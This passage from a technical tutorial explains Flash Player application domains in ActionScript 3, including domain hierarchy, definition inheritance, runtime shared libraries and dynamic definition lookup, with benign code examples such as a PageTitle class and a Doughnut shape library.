Application domains work together in a linked hierarchy making them more 
complex than security domains which are each isolated and individualized. These 
hierarchies mirror the display list in Flash. Each application domain can 
contain any number of child application domains while each child maintains only 
one parent. Child domains inherit definitions in its parent as well as all of 
the ancestors of that parent just like position or scale is inherited by child 
display objects. 
At the root of this hierarchy is the 
system domain, the 
application domain that contains the native definitions of the Flash Player API. 
These include definitions like Array, XML, and flash.display.Sprite - anything 
native to Flash Player. System domains have a one to one relationship with 
security domains; every security domain contains a single system domain that is 
created for it when the security domain is first created. 
When a new SWF is placed into its respective security domain as it 
initializes an instance of Flash Player, an application domain is created to 
contain the ActionScript definitions that were compiled with it. This 
application domain is then made a child of the system domain in that security 
domain. As a child domain of the system domain, the native Flash Player 
definitions are inherently made available to the definitions of that application 
domain through inheritance.

New SWF 
domain loaded into and inherits from system domain
 
More on inheritance is covered in the 
Application Domain Inheritance 
section.
Application Domain Placement
The initial SWF instantiating Flash Player always has its definitions loaded 
into an application domain that is a direct child of the system domain. When 
that, or some other preexisting SWF (parent) loads another SWF, it has control 
over where the definitions of the new SWF is placed. There are 4 primary options 
on where the child SWF's definitions are to placed:
- A new child application domain of the parent SWF's application domain 
(default)
 
- Merged in with the same application domain of the parent SWF
 
- A new child application domain of the system domain in the parent SWF's 
security domain
 
- A new child application domain of the system domain in a different security 
domain
 
All but the very last of the variations each require that the child SWF be 
loaded into the same security domain as the parent. The fourth and final 
variation is the only option for SWFs loaded into separate security domains.

Application 
domain placement options when loading child SWFs
 
Not mentioned is the option of loading definitions directly into, or in a new 
child domain of, any other application domain that was already created for a 
different, previously loaded SWF. Working with these domains requires more 
complex ApplicationDomain instance management, usually requiring you to work up 
an application domain hierarchy using 
ApplicationDomain.parentDomain 
- a reference which, as a helpful tip, you may find behaves differently 
depending on which security sandbox you're testing with (local vs. network). 
This use case is extremely uncommon so not covered in any more detail here.
The placement of application domains is defined by the 
applicationDomain 
property of LoaderContext. This property takes an 
ApplicationDomain 
instance which can be obtained through 
ApplicationDomain.currentDomain (much like security domains with 
SecurityDomain.currentDomain), or by creating a new instance 
through the use of the 
new keyword. When creating new instances, a 
parent domain is passed into the ApplicationDomain constructor to indicate where 
in the hierarchy the application domain is to exist. Passing no parent implies 
the system domain will become the parent.
// an application domain that results in definitions that are
// "Merged in with the same application domain of 
// the parent SWF"
var current:ApplicationDomain = ApplicationDomain.currentDomain;
// an application domain that results in definitions being
// added to "A new child application domain of the parent
// SWF's application domain"
var currentChild:ApplicationDomain = new ApplicationDomain(current);
// an application domain that results in definitions being
// added to "A new child application domain of the system
// domain in the parent SWF's security domain"
var systemChild:ApplicationDomain = new ApplicationDomain();
The following example defines a new application domain for a child SWF's 
definitions that is a child of the parent SWF's application domain. A 
LoaderContext instance references the ApplictionDomain instance and is passed to 
the 
Loader.load call. This is the same behavior that would occur if 
a LoaderContext was not used at all.
var context:LoaderContext = new LoaderContext();
// load child application domain as a child
// of this application domain 
var current:ApplicationDomain = ApplicationDomain.currentDomain;
context.applicationDomain = new ApplicationDomain(current);
var loader:Loader = new Loader();
var url:String = "child.swf";
loader.load(new URLRequest(url), context);
Incidentally, ApplicationDomain instances cannot be directly compared to one 
another. Each instance is a unique reference that internally stores a map of its 
placement in the hierarchy that is not directly exposed to ActionScript.
var current1:ApplicationDomain = ApplicationDomain.currentDomain;
var current2:ApplicationDomain = ApplicationDomain.currentDomain;
trace(current1 == current2); // false
Also, you should not try get a direct reference to the system domain through 
the 
parentDomain property. If you need an ApplicationDomain 
instance to represent the system domain, always use 
new 
ApplicationDomain().
Application Domain Inheritance
The inheritance of definitions through application domains is not entirely 
unlike class inheritance. In both cases definitions in parents are made 
available to their children while child definitions are not directly exposed to 
the parents. 
Application domain inheritance, however, differs in that child domains aren't 
given the option to override parent definitions with their own. If a child 
domain contains a certain definition with the same fully qualified name (name 
including its package path) as a definition in one of it's ancestor domains, the 
parent domains's definition will be referenced instead of the child's. 

Child 
application domains use their parent domain definitions over their own 
 
The reasoning behind this can be summarized by the following: you cannot 
change a class definition out from under an existing class instance. If an 
instance is created from one version of a class definition and another variation 
of that definition is then loaded into the player, the class instance would 
become corrupt with a definition conflicting with that from which it was 
originally made. Flash player protects definitions by preventing new versions of 
a definition from ever replacing an existing one.
One of the implications of this behavior is that you're not ever allowed to 
override native definitions in the ActionScript API with your own. Since a SWF's 
application domain is always an ancestor of the system domain - where these 
definitions are defined- there's never an opportunity for a SWF to be able to 
provide a natively-named definition that does not yet already exist. If a SWF is 
compiled with such a definition, it will be ignored, overridden by the version 
in the system domain.
When merging definitions into an existing application domain, the same rules 
for inheritance apply, even though no inheritance is actually taking place. New 
application domain definitions are only merged into the existing application 
domain if they do not conflict with pre-existing definitions that already exist 
there.

Definitions added 
to an existing application domain will not replace existing definitions
 
One minor difference with the dropped definitions in this case is that, 
unlike with child application domains, these definitions become completely 
inaccessible. Child domain definitions, even if being overridden by the parent 
domain can still be accessed from the application domain directly through 
getDefinition which is covered in the 
Getting Definitions Dynamically 
section.
Definitions loaded into an application domain are persistent within that 
domain, existing as long as the application domain exists. New application 
domains that are created to hold a loaded SWFs definitions are removed from 
memory when that SWF is unloaded. If that SWFs definitions were added to 
another, preexisting domain, they would exist in memory as long as that domain 
exists, which would be determined by whatever SWF it was created for. If 
consistently loading new SWF definitions into an existing domain, such as the 
domain of the first SWF, it could lead to an increase of memory use as 
definitions continue to add up there. This would be undesirable for something 
like ad rotation where any number of child SWFs (ads) could be loaded in, each 
adding their definitions to the same application domain.
Additionally, since definitions loaded in this manner do not unload with the 
child SWF, reloading that a second time SWF will reuse the original definitions 
loaded into the application domain from the first time the SWF was loaded. 
Generally this would not be a problem since the definitions are the same, but it 
would mean that the static state of classes would not reset; static variables 
that were changed the first time the SWF was loaded would still retain their 
changed values rather than resetting to their defaults when the SWF was 
reloaded.
Different circumstances require different approaches. 
Child Domains: Definition 
Versioning
Inheritance through child domains make it easy for parent SWFs to share their 
definitions with child SWFs. And because definitions in child domains are 
overridden by parent definitions of the same name, the parent application domain 
gets to control what versions of those definitions are used by its children.

Child 
application domain inherits from its parent 
 
Consider a SWF-based web site that loads separate SWFs to represent the 
content of different pages within the site. The main SWF simply being a shell 
for loading these pages. Each of the page SWFs have similar behavior based on a 
common code library. A shared class may be, for example, a PageTitle class which 
defines a display object used to display a page's title text.
Now consider a second SWF on that same domain that serves a slightly 
different purpose but uses the same child pages for some of its content. This 
particular SWF, however, requires that the titles in child pages not use 
selectable text (the current behavior being selectable). To do this, at least 
within the scope of this example, the PageTitle class would need to be updated 
to make its TextField have a 
selectable value of 
false. The problem is, the original SWF needs to retain the old 
behavior of having selectable title text.
To solve this problem, each page could be duplicated and recompiled with the 
changes. But this would require additional disk space for the copies, increase 
bandwidth requirements, and has a negative impact on site maintainability. A 
better solution would be to include a revised version of the PageTitle class in 
the contents of the second SWF. Then, as child pages are loaded into child 
application domains, they'll inherit and use that version of the class over 
their own.
Original PageTitle class used by all child pages:
package {
 import flash.display.Sprite;
 import flash.text.TextField;
 public class PageTitle extends Sprite {
  private var title:TextField;
  public function PageTitle(titleText:String){
   title = new TextField();
   title.text = titleText;
   addChild(title);
  }
 }
}
The version of the PageTitle class compiled into the second SWF shell:
package {
 import flash.display.Sprite;
 import flash.text.TextField;
 public class PageTitle extends Sprite {
  private var title:TextField;
  public function PageTitle(titleText:String){
   title = new TextField();
   title.text = titleText;
   title.selectable = false; // changed
   addChild(title);
  }
 }
}
When the new shell is compiled, it's compiled with the changed version of the 
class, loading all of the child pages into child application domains.
PageTitle; // include a reference of edited 
// class to have it compiled in the SWF even
// though the SWF is not using it directly
// load child pages into child application domains
// loaded SWFs will use the version of PageTitle
// in this SWF rather than their own
function addChildPage(url:String):void {
 var context:LoaderContext = new LoaderContext();
 var current:ApplicationDomain = ApplicationDomain.currentDomain;
 context.applicationDomain = new ApplicationDomain(current);
 
 var loader:Loader = new Loader();
 addChild(loader);
 loader.load(new URLRequest(url), context);
}
This approach allows class definitions to be changed in loaded content 
without recompiling or changing their default behavior. Changes are simply the 
result of a parent application domain replacing definitions in the child with 
its own revised versions.
Note that the above example could have also omitted the use of the 
LoaderContext for the same effect.
Even if child SWFs don't have to serve multiple purposes, it might come down 
to it just being easier to update definitions in the loader rather than all the 
children. In fact, child SWFs could be compiled without these classes at all, 
relying entirely on the versions supplied by the parent. More information on how 
that works is seen in the 
Same 
Domain: Runtime Shared Libraries section.
Separate Domains: Preventing 
Conflicts
Sometimes you'll have projects which require loading SWF content that 
shouldn't be affected by parent application domain inheritance. You may not want 
the SWF to inherit parent definitions or maybe not even know what definitions it 
uses at all. Whatever the case, it would be best to avoid any kind of definition 
sharing between the main SWF and the loaded content. This is when you load child 
SWF definitions into a new application domain that is a child of the system 
domain.

Child 
application domain made a separate child of system domain 
 
Because no inheritance exists between the parent and child SWFs, both can 
have definitions of the same name - which may or may not be the same definitions 
- that can co-exist within their own sandboxes without having to worry about 
creating a naming conflict.
Here's a scenario: Let's say you have training application that loads 
training modules through external SWFs. Hundreds if not thousands of these 
modules exist, having been developed by many different people throughout many 
years that this application has been in use. As the modules were being 
developed, the codebase they've been using has evolved. This creates a 
discrepancy between the versions of the codebase between different modules, and 
even the training application itself (which also uses the same codebase). 
Because the training application and the different modules use and rely on 
different versions of the same codebase, the training application will need to 
be sure that its version of the codebase is not used by the modules since its 
version could be incompatible with their design. To do this, the training 
application has to load modules in a new application domain that is a direct 
child of the system domain rather than in application domains that are children 
of its own.
trainingapplication.swf:
var moduleLoader:Loader = new Loader();
addChild(moduleLoader);
// load modules into application domains that
// are direct children of the system domain
// so that this application domain does not
// share definitions with them
function loadModule(url:String):void {
 var context:LoaderContext = new LoaderContext();
 context.applicationDomain = new ApplicationDomain();
 
 moduleLoader.load(new URLRequest(url), context);
}
Unfortunately, definition separation in this case is not absolute. All 
content within the same security domain shares the same system application 
domain. Any changes made to definitions there will be reflected in all other 
application domains in that security domain. So even though a child SWF is 
loaded into a separated application domain that is a direct child of the system 
domain, changes to that system domain from the parent SWF would still be 
reflected in the child.
This is evident with the 
XML.prettyIndent example. One SWF, no 
matter where it is in the application domain hierarchy, if in the same security 
domain, will affect all other SWFs with changes made to definitions in the 
shared system domain.
parent.swf:
trace(XML.prettyIndent); // 2
XML.prettyIndent = 5;
trace(XML.prettyIndent); // 5
var loader:Loader = new Loader();
var context:LoaderContext = new LoaderContext();
// separate application domain from this one
context.applicationDomain = new ApplicationDomain();
var url:String = "child.swf";
loader.load(new URLRequest(url), context); 
child.swf:
trace(XML.prettyIndent); // 5
As a best practice, changes to definitions like this should be done on a 
temporary basis, returning values to their defaults after use.
var originalPrettyIndent:int = XML.prettyIndent;
XML.prettyIndent = 5;
trace(myXML.toXMLString());
XML.prettyIndent = originalPrettyIndent;
Also, as a precaution, you may want to make sure such values are what you 
expect them to be in case someone else changed them out from under you.
Same Domain: Runtime Shared 
Libraries
Probably the most powerful usage of application domains involves adding new 
definitions into a pre-existing application domain. Whereas child domains only 
allows definitions to be shared from a parent to a child, merging definitions in 
to the same application domain provides a single domain from which all 
definitions can be shared by every SWF using it, both parent and child.

Parent 
application domain includes child definitions 
 
Runtime shared libraries (RSLs) use application domains in this manner. RSLs 
are code libraries that exist as separate SWFs that can be loaded in at runtime. 
They allow one or more SWFs share a single codebase without each SWF having to 
embed that same code into their SWF file, thus reducing redundancy, file size, 
and making code more maintainable. RSL definitions are loaded into the 
application domain of the loader, thereby allowing that application to access 
the new definitions.
A couple prerequisites need to be met for RSLs to function properly. First, 
the ActionScript compiler needs to know that certain definitions are going to be 
used by a SWF but should not be compiled in with the SWF when published. 
The compiler does this now with native Flash Player definitions. Though a SWF 
will use native player definitions in its code (Array, XML, Sprite, etc.), those 
definitions only exist within the Flash Player executable itself and should not, 
nor cannot be compiled into the SWF when its published. The compiler uses a 
special SWC (a pre-compiled SWF code library) called playerglobal.swc to 
recognize these native definitions. It contains the interface for these 
definitions - their names and type information - allowing the compiler to 
compile code using them, but at the same time the compiler is smart enough to 
know that they are not included with the final SWF.
The compiler can reference other SWC libraries that can behave like 
playerglobal.swc. Definitions in these libraries can be referenced by code in 
your SWF, but not compiled into the SWF when published. These libraries are 
linked as "External" libraries - external in that they are externally loaded 
rather than be internal to the SWF. 
I will not cover how exactly this is setup as it changes depending on your 
authoring tool. You should be able to reference your tool's documentation to 
learn how to set this up for your particular environment.
Though SWCs are used for compilation, RSLs are, themselves, SWFs, just like 
any other loaded Flash content. When compiling library code, both a SWF and a 
SWC should be made - the SWF for loading at runtime and the SWC to reference in 
your external library path.

Shared Library 
SWCs are used by the compiler; Shared library SWFs are loaded at runtime
 
The other prerequisite deals with code execution. Using external libraries, a 
SWF will be published without definitions that it depends on to function. Should 
Flash Player attempt to run code that doesn't contain an expected definition, a 
verify error can occur, (for the most part) breaking your SWF completely.
Flash Player verifies classes when they're first used in code. If certain 
definitions are not present in the application domain when this verification 
process occurs, an error is thrown.
There are actually two different kinds of errors that can occur as a result 
of missing definitions. Verify errors are the worst of the two, representing a 
catastrophic failure in a class's ability to function. These are a result of a 
specific 
type being used and not being available. However missing 
definition 
references can also create a failure that results in 
reference errors. These errors only interrupt the normal flow of code execution 
within code executing within an already verified class.
var instance:DoesNotExist;
// VerifyError: Error #1014: Class DoesNotExist could not be found.
// Occurs as the class containing this definition is verified
var instance:Object = new DoesNotExist();
// ReferenceError: Error #1065: Variable DoesNotExist is not defined.
// Occurs when this line of code executes
The main difference is that verify errors 
relate to a class's definition while reference errors are specific to code 
execution. For any code within a class to execute, verification would have 
needed to pass. Since the reference error example above uses a type of 
Object for the instance variable, verification was 
able to succeed and code was able to execute (only to then fail with a reference 
error).
Note: Strict Mode
External libraries are one way you can compile SWFs that use definitions that 
aren't compiled into the SWF. Another approach is to turn strict mode off. This 
greatly reduces the compiler's strictness with how variable values are used. For 
class usage, you can reference classes that do not exist without invoking a 
compiler error. You can't use them as types - something which would cause a 
verify error at runtime - but you can reference classes by name as seen with the 
reference error example above. This approach is not recommended because of 
possible errors that might slip through undetected.
For SWFs loading RSLs, this means classes that use or reference definitions 
in an RSL should be avoided until the dependent RSLs load. A preloader at the 
start of an application can facilitate this, loading RSLs before main 
application code - which uses RSL code - runs.
The example below includes a SWF that loads in a RSL containing a Doughnut 
class. Though this class is used directly in the SWF's own, internal code, it 
was not compiled into the SWF because it was referenced through a SWC defined as 
an external library. The RSL SWF is loaded before the Doughnut class is used so 
verification does not fail.
Doughnut.as (compiled into 
doughnutLibrary.swc and 
doughnutLibrary.swf):
package {
 import flash.display.Sprite;
 
 public class Doughnut extends Sprite {
  public function Doughnut(){
   // draw a doughnut shape
   graphics.beginFill(0xFF99AA);
   graphics.drawCircle(0, 0, 50);
   graphics.drawCircle(0, 0, 25);
  }
 }
}
ShapesMain.as (where primary 
Shapes.swf content is 
defined):
package {
 import flash.display.Sprite;
 
 public class ShapesMain extends Sprite {
  public function ShapesMain(){
   // The Doughnut class is accessible
   // through the linked doughnutLibrary.swc
   // though not compiled into Shapes.swf
   // because its linked as an external library
   var donut:Doughnut = new Doughnut();
   donut.x = 100;
   donut.y = 100;
   addChild(donut);
  }
 }
}
Shapes.swf (RSL loader):
var rslLoader:Loader = new Loader();
rslLoader.contentLoaderInfo.addEventListener(Event.INIT, rslInit);
// load definitions in the RSL SWF into the
// current application domain
var context:LoaderContext = new LoaderContext();
context.applicationDomain = ApplicationDomain.currentDomain;
var url:String = "doughnutLibrary.swf";
rslLoader.load(new URLRequest(url), context);
function rslInit(event:Event):void {
 // only when the RSL definitions have been imported
 // into the application domain do we allow use of and
 // thereby verification of the ShapesMain class which
 // makes use of the Doughnut definition in the RSL
 addChild(new ShapesMain());
}
The Shapes SWF here represents the main SWF application. It's functional 
content is defined in a separate class called ShapesMain. This class isn't 
instantiated until the RSL loader has been able to import the RSL definitions 
(Doughnut) into the application domain. Without the RSL definitions, a verify 
error would have occurred as soon as the ShapesMain class was verified and the 
Doughnut class was found missing from the application domain.
Note: RSLs with Flex
The Flex framework has its own implementation of handling RSLs. The 
approaches explained here are very low level and generally should not be used 
when developing a Flex application. For more information around RSL usage in 
Flex, see 
Flex 
Runtime Shared Libraries (Flex 4).
 
Getting Definitions Dynamically
Definitions not included in a application domain, or inherited by a parent 
domain, can be obtained from other domains dynamically through 
ApplicationDomain.getDefinition. 
This method returns a reference to a definition that exists in an application 
domain or any of its parents. Calling 
getDefinition with the 
current application domain mirrors the global function 
getDefinitionByName. 
Outside of 
ApplicationDomain.currentDomain, you can also get a 
reference to an ApplicationDomain instance - one specific to a SWF - using 
LoaderInfo.applicationDomain. 
This is what would be used to find ApplicationDomain references for other SWFs 
or application domains as the following example demonstrates with a 
com.example.Box class that was compiled in the SWF loaded into the 
loader Loader instance.
try {
 var domain:ApplicationDomain = loader.contentLoaderInfo.applicationDomain;
 var boxClass:Class = domain.getDefinition("com.example.Box") as Class;
 var boxInstance:Object = new boxClass();
}catch(err:Error){
 trace(err.message);
}
There are a couple of points of interest in this code snippet. First, notice 
the the return value of 
getDefinition was cast to a the type 
Class with 
as Class. This is needed because 
getDefinition returns a value of the type 
Object since 
it's capable of returning any kind of definition (functions, namespaces, 
interfaces) rather than just classes. Also, the whole operation is wrapped in a 
try-catch. This is needed because failure to find a definition through 
getDefinition throws an error. Alternatively, you could also check 
this using 
ApplicationDomain.hasDefinition 
which would let you know if 
getDefinition would be able to 
successfully find the desired definition or not.
Definitions acquired dynamically that are not a part of (or inherited by) the 
current application domain cannot be used as variable types. As seen with RSLs, 
if a type is used for a class but not contained within the application domain 
when the class is verified, an error will be thrown. In the above example you 
can see the 
boxInstance variable is typed as 
Object 
instead of 
Box because the Box class is not a known definition in 
the application domain.
Same-definition Collisions
Sometimes, definitions may get crossed and you may have a definition in one 
application domain that matches a definition in another, unrelated application 
domain and an assignment is made across the two types. When this happens, you'll 
get an error that resembles the following:
TypeError: Error #1034: Type Coercion failed: cannot convert 
 com.example::MyClass@51e1101 to com.example.MyClass.
The separation of the definitions can be seen with the identifier following 
the @ symbol in the class name indicating that the definition exists in a 
different memory space. Even though the definitions may (or may not) be exactly 
the same in code, they have been defined in Flash Player by two separated 
application (or security) domains meaning two instances of the class exist.
Only native Flash Player definitions can bridge this gap allowing a type like 
Object to work for both cases, even going across security domains. 
In fact, you'll probably use 
Object to type instances whose type is 
not a part of the current application domain most of the time. 
Though using a more generic type like Object will help solve collision 
errors, a different use of application domain placement would actually allow the 
definitions to match.
Conclusion
This tutorial has covered a lot of information. The first half dove deep into 
security domains and how they affect content on different source domains. 
Security domain sandboxing by Flash Player protects the user and their data, and 
it's important that developers of Flash content both respect and understand the 
restrictions imposed by Flash Player in that space.
The second half covered application domains - a different kind of sandbox 
that lives within security sandboxes and separates ActionScript definitions. 
These domains work together in a hierarchy that helps delegate the sharing and 
reuse of definitions across multiple SWFs.
There are a number of pitfalls between both security domains and application 
domains. Hopefully what has been covered here has you prepared for them. Not 
only should you now know what to expect, but also what needs to be done to make 
your content work the way you want it to.